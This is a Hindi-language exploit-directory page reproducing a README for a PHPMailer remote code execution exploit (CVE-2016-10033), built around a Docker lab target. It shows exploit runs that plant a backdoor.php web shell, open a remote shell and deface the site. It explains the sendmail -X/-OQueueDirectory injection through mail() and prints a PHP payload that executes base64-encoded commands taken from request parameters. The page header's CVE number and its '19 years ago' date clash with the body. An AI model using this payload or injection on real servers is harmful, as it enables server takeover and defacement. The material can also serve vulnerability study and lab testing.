Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/heikipikker/exploit-cve-2016-10034
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubheikipikker/exploit-cve-2016-10034

exploit-CVE-2016-10034

PHPMailer < 5.2.18 दूरस्थ कोड निष्पादन

रिपॉजिटरी देखें
19 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PHPMailer < 5.2.18 रिमोट कोड निष्पादन

Docker Pulls License

PHPMailer दुनिया का सबसे लोकप्रिय ट्रांसपोर्ट क्लास है, जिसके दुनिया भर में लगभग 9 मिलियन उपयोगकर्ता हैं। डाउनलोड प्रतिदिन महत्वपूर्ण गति से जारी रहते हैं। इसका उपयोग कई ओपन-सोर्स प्रोजेक्ट्स द्वारा किया जाता है: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! और कई अन्य।

PHPMailer अपने संस्करण 5.2.18 से पहले एक ऐसी भेद्यता से ग्रस्त है जो रिमोट कोड निष्पादन (RCE) का कारण बन सकती है। PHPMailer में isMail ट्रांसपोर्ट में mailSend फ़ंक्शन, जब Sender प्रॉपर्टी सेट नहीं होती है, तो रिमोट हमलावरों को mail कमांड में अतिरिक्त पैरामीटर पास करने और इसके परिणामस्वरूप क्राफ्टेड From पते में " (बैकस्लैश डबल कोट) के माध्यम से मनमाना कोड निष्पादित करने की अनुमति दे सकता है।

संवेदनशील वातावरण

अपने परीक्षण के लिए एक संवेदनशील वातावरण स्थापित करने के लिए आपको Docker स्थापित करना होगा, और बस निम्नलिखित कमांड चलाएँ:

root@kitploit:~
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

और यह आपके होस्ट पर 8080 पोर्ट पर एक संवेदनशील वेब एप्लिकेशन तैयार करेगा

vulnerable

शोषण

इस लक्ष्य का शोषण करने के लिए बस चलाएँ:

root@kitploit:~
./exploit host:port

यदि आप इस संवेदनशील इमेज का उपयोग कर रहे हैं, तो आप बस चला सकते हैं:

root@kitploit:~
./exploit localhost:8080

शोषण के बाद, backdoor.php नामक एक फ़ाइल वेब निर्देशिका के रूट फ़ोल्डर में संग्रहीत की जाएगी। और शोषण आपको एक शेल देगा जहाँ आप बैकडोर को कमांड भेज सकते हैं:

root@kitploit:~
./exploit.sh localhost:8080
[+] CVE-2016-10033 का शोषण opsxcq द्वारा
[+] localhost:8080 का शोषण किया जा रहा है
[+] लक्ष्य का शोषण किया गया, http://localhost:8080/backdoor.php पर शेल एक्सेस हो रहा है
[+] जाँच की जा रही है कि लक्ष्य प्रणाली पर बैकडोर बनाया गया है या नहीं
[+] रिमोट सिस्टम पर Backdoor.php मिला
[+] whoami चलाया जा रहा है
www-data
RemoteShell> 

और बस, आपके पास आपका शेल है। एक और शोषण है, जो एक अन्य उपयोग के मामले को दर्शाता है।

root@kitploit:~
./deface.sh localhost:8080
[+] CVE-2016-10033 का शोषण opsxcq द्वारा
[+] localhost:8080 का शोषण किया जा रहा है
[+] लक्ष्य का शोषण किया गया, http://localhost:8080/backdoor.php पर शेल एक्सेस हो रहा है
[+] जाँच की जा रही है कि लक्ष्य प्रणाली पर बैकडोर बनाया गया है या नहीं
[+] रिमोट सिस्टम पर Backdoor.php मिला
[+] सर्वर पर आपका संदेश रखा जा रहा है
[+] काम हो गया, बाहर निकल रहे हैं

और यदि आप पृष्ठ पर फिर से जाते हैं, तो आप यह देखेंगे:

defaced

संवेदनशील कोड

इस कमिट से पहले class.phpmailer.php में एक निश्चित परिदृश्य में प्रेषक के ईमेल पते के विशेष वर्णों पर कोई फ़िल्टर नहीं है। यह दोष mail फ़ंक्शन यहाँ के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है।

कोड का विश्लेषण करने पर, mailSend() फ़ंक्शन में कोई फ़िल्टर नहीं है

root@kitploit:~
        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender को सीधे $params वेरिएबल में जोड़ा जाता है, जिसे validateAddress() फ़ंक्शन में फ़िल्टर किया गया था, लेकिन चूँकि यह RFC 3696 विनिर्देश का उपयोग करता है, यह कुछ वर्णों की अनुमति देता है जो चीज़ों को तोड़ देंगे। इस मामले में, उद्धरण:

बैकस्लैश वर्ण का उपयोग करके उद्धरण के अलावा, पारंपरिक डबल-कोट वर्ण का उपयोग स्ट्रिंग को घेरने के लिए किया जा सकता है। उदाहरण के लिए

"Abc@def"@example.com

"Fred Bloggs"@example.com

ऊपर दिए गए पहले दो उदाहरणों के वैकल्पिक रूप हैं। इन उद्धृत रूपों की शायद ही कभी अनुशंसा की जाती है, और व्यवहार में असामान्य हैं, लेकिन, जैसा कि ऊपर चर्चा की गई है, उन अनुप्रयोगों द्वारा समर्थित होना चाहिए जो ईमेल पतों को संसाधित कर रहे हैं। विशेष रूप से, उद्धृत रूप अक्सर अन्य सिस्टम और संदर्भों से संक्रमण से जुड़े पतों के संदर्भ में दिखाई देते हैं; वे संक्रमणकालीन आवश्यकताएँ अभी भी उत्पन्न होती हैं और, चूँकि एक सिस्टम जो उपयोगकर्ता-प्रदत्त ईमेल पता स्वीकार करता है, वह "जान" नहीं सकता कि वह पता किसी विरासत सिस्टम से जुड़ा है या नहीं, पता प्रपत्रों को स्वीकार किया जाना चाहिए और ईमेल वातावरण में पास किया जाना चाहिए।

यदि आप चाहें तो पूरा RFC यहाँ पढ़ सकते हैं। लेकिन साथ ही, यदि PHP संस्करण 5.2.0 से कम है, और PCRE स्थापित नहीं है, तो validateAddress() में $patternselect वेरिएबल noregex पर सेट हो जाएगा। यह इनपुट को किसी भी regex जाँच से बचने में सक्षम बनाएगा। यह केवल एक छोटी सत्यापन से गुज़रेगा:

root@kitploit:~
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

फिर, कोड प्रवाह mailPassthru() फ़ंक्शन पर जाता है, जो यदि safe_mode में चल रहा है, तो इस दोष के प्रति संवेदनशील नहीं होगा, जैसा कि निम्नलिखित कोड बताता है:

root@kitploit:~
        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

लेकिन, यदि यह safe_mode में नहीं चल रहा है, तो हमारा विशेष पैरामीटर mail() को पास कर दिया जाएगा और, यदि हम भाग्यशाली रहे, तो यह हमारी फ़ाइल प्राप्त कर लेगा जिसमें जो कुछ भी हम चाहते हैं, वह लिखा जाएगा जहाँ हम इसे लिखना चुनते हैं।

PHP mail() फ़ंक्शन के शोषण के बारे में नोट्स

PHP mail() फ़ंक्शन का शोषण कोई नई बात नहीं है, लेकिन यह अभी भी जीवित है और लोग अभी भी इसका उपयोग कर रहे हैं। यह समझाने के लिए कि यह कैसे काम करता है, आइए देखें कि mail() फ़ंक्शन कैसे परिभाषित है:

root@kitploit:~
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

विभिन्न परिणामों के लिए शोषण की कई विधियाँ हैं, हम रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए 5वें पैरामीटर के शोषण पर ध्यान केंद्रित करेंगे। पैरामीटर $additional_parameters का उपयोग ईमेल भेजने के लिए कॉन्फ़िगर किए गए प्रोग्राम में कमांड लाइन विकल्पों के रूप में अतिरिक्त फ़्लैग पास करने के लिए किया जाता है। यह कॉन्फ़िगरेशन sendmail_path वेरिएबल द्वारा परिभाषित किया गया है।

php आधिकारिक दस्तावेज़ीकरण से एक सुरक्षा नोट:

अतिरिक्त_पैरामीटर पैरामीटर का उपयोग अतिरिक्त फ़्लैग को कमांड लाइन विकल्पों के रूप में उस प्रोग्राम में पास करने के लिए किया जा सकता है जो मेल भेजते समय उपयोग करने के लिए कॉन्फ़िगर किया गया है, जैसा कि sendmail_path कॉन्फ़िगरेशन सेटिंग द्वारा परिभाषित किया गया है। उदाहरण के लिए, इसका उपयोग sendmail के साथ -f sendmail विकल्प का उपयोग करके लिफ़ाफ़ा प्रेषक पता सेट करने के लिए किया जा सकता है।

कमांड निष्पादन को रोकने के लिए इस पैरामीटर को आंतरिक रूप से escapeshellcmd() द्वारा एस्केप किया जाता है। escapeshellcmd() कमांड निष्पादन को रोकता है, लेकिन अतिरिक्त पैरामीटर जोड़ने की अनुमति देता है। सुरक्षा कारणों से, शेल कमांड में अवांछित पैरामीटर जोड़ने से बचने के लिए उपयोगकर्ता को इस पैरामीटर को साफ करने की अनुशंसा की जाती है।

इंजेक्ट किए जा सकने वाले अतिरिक्त पैरामीटरों पर विचार करते हुए, हम इस दोष का शोषण करने के लिए -X का उपयोग करेंगे। -X पैरामीटर के बारे में अधिक जानकारी:

root@kitploit:~
-X logfile
संकेतित लॉग फ़ाइल में मेलर्स के अंदर और बाहर सभी ट्रैफ़िक को लॉग करें। इसका उपयोग केवल मेलर बग्स को डीबग करने के अंतिम उपाय के रूप में किया जाना चाहिए। यह बहुत जल्दी डेटा की बहुत सारी मात्रा लॉग करेगा।

कुछ अन्य दिलचस्प पैरामीटर भी हैं जिनके बारे में आपको पता होना चाहिए:

root@kitploit:~
-Cfile
वैकल्पिक कॉन्फ़िगरेशन फ़ाइल का उपयोग करें। यदि कोई वैकल्पिक कॉन्फ़िगरेशन फ़ाइल निर्दिष्ट की जाती है, तो Sendmail किसी भी उन्नत (सेट-यूज़र-आईडी या सेट-ग्रुप-आईडी) विशेषाधिकारों को छोड़ देता है।

और

root@kitploit:~
-O option=value
विकल्प को निर्दिष्ट मान पर सेट करें। यह फ़ॉर्म लंबे नामों का उपयोग करता है।

और -O विकल्प के लिए, QueueDirectory सबसे दिलचस्प विकल्प है, यह विकल्प उस निर्देशिका का चयन करता है जिसमें संदेश कतारबद्ध करना है।

यदि आप पैरामीटर और विकल्पों की पूरी सूची पढ़ना चाहते हैं, तो बस man sendmail करें या इसे ऑनलाइन यहाँ पढ़ें।

इस जानकारी के आधार पर, और कम से कम एक अन्य पैरामीटर को नियंत्रित करने की क्षमता के साथ, हम होस्ट का शोषण कर सकते हैं। सफल शोषण के लिए नीचे दिए गए चरण:

  • $additional_parameters और एक अन्य mail() पैरामीटर को नियंत्रित करें
  • लक्ष्य होस्ट पर एक लिखने योग्य निर्देशिका जानें जो लक्ष्य प्रणाली और उपयोगकर्ता (उदाहरण के लिए www-data) के माध्यम से सुलभ हो। आमतौर पर यह निर्देशिका webroot के अंतर्गत कुछ भी हो सकती है (दूसरे सिस्टम के लिए /var/www/html, इस उदाहरण के लिए /www)
  • कोई भी PHP पेलोड जो आप चाहते हैं, हम इस उदाहरण में एक सरल system() पेलोड का उपयोग कर रहे हैं, जिसमें base64 और कुछ विशेष वर्ण | का मिश्रण है ताकि इसे पार्स करना आसान हो।
  • बस सब कुछ एक साथ जोड़ें!

याद रखें कि -X विकल्प लॉग फ़ाइल लिखेगा, जिसमें लॉग जानकारी के अलावा आपका PHP पेलोड भी होगा, उस निर्देशिका में जिसे आप सूचित करेंगे। एक संवेदनशील PHP कोड का उदाहरण:

root@kitploit:~
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);

यदि आप उपरोक्त कोड निष्पादित करते हैं, तो यह /www/backdoor.php में एक लॉग फ़ाइल बनाएगा, यही इस शोषण का सार है।

पेलोड

इस उदाहरण में उपयोग किया गया पेलोड नीचे दिया गया है

root@kitploit:~
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>

मैं बग्स का पीछा करना चाहता हूँ, अब क्या?

इस दोष को खोजने का एक आसान, एक-कमांड तरीका चाहते हैं? इस जादुई grep कमांड को याद रखें!

root@kitploit:~
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *

इसे इस रिपॉजिटरी के विरुद्ध चलाने पर परिणाम मिलेगा:

root@kitploit:~
src/class.phpmailer.php:700:            $result = @mail($to, $subject, $body, $header, $params);

श्रेय

यह भेद्यता Dawid Golunski द्वारा पाई गई थी।

अस्वीकरण

यह या पिछला प्रोग्राम केवल शैक्षिक उद्देश्य के लिए है। अनुमति के बिना इसका उपयोग न करें। सामान्य अस्वीकरण लागू होता है, विशेष रूप से यह तथ्य कि मैं (opsxcq) इन प्रोग्रामों द्वारा प्रदान की गई जानकारी या कार्यक्षमता के प्रत्यक्ष या अप्रत्यक्ष उपयोग से होने वाली किसी भी क्षति के लिए उत्तरदायी नहीं हूँ। लेखक या कोई भी इंटरनेट प्रदाता इन प्रोग्रामों या उनके किसी भी व्युत्पन्न की सामग्री या दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इन प्रोग्रामों का उपयोग करके आप इस तथ्य को स्वीकार करते हैं कि इन प्रोग्रामों के उपयोग से होने वाली कोई भी क्षति (डेटा हानि, सिस्टम क्रैश, सिस्टम समझौता, आदि) opsxcq की जिम्मेदारी नहीं है।

टूल डाउनलोड करें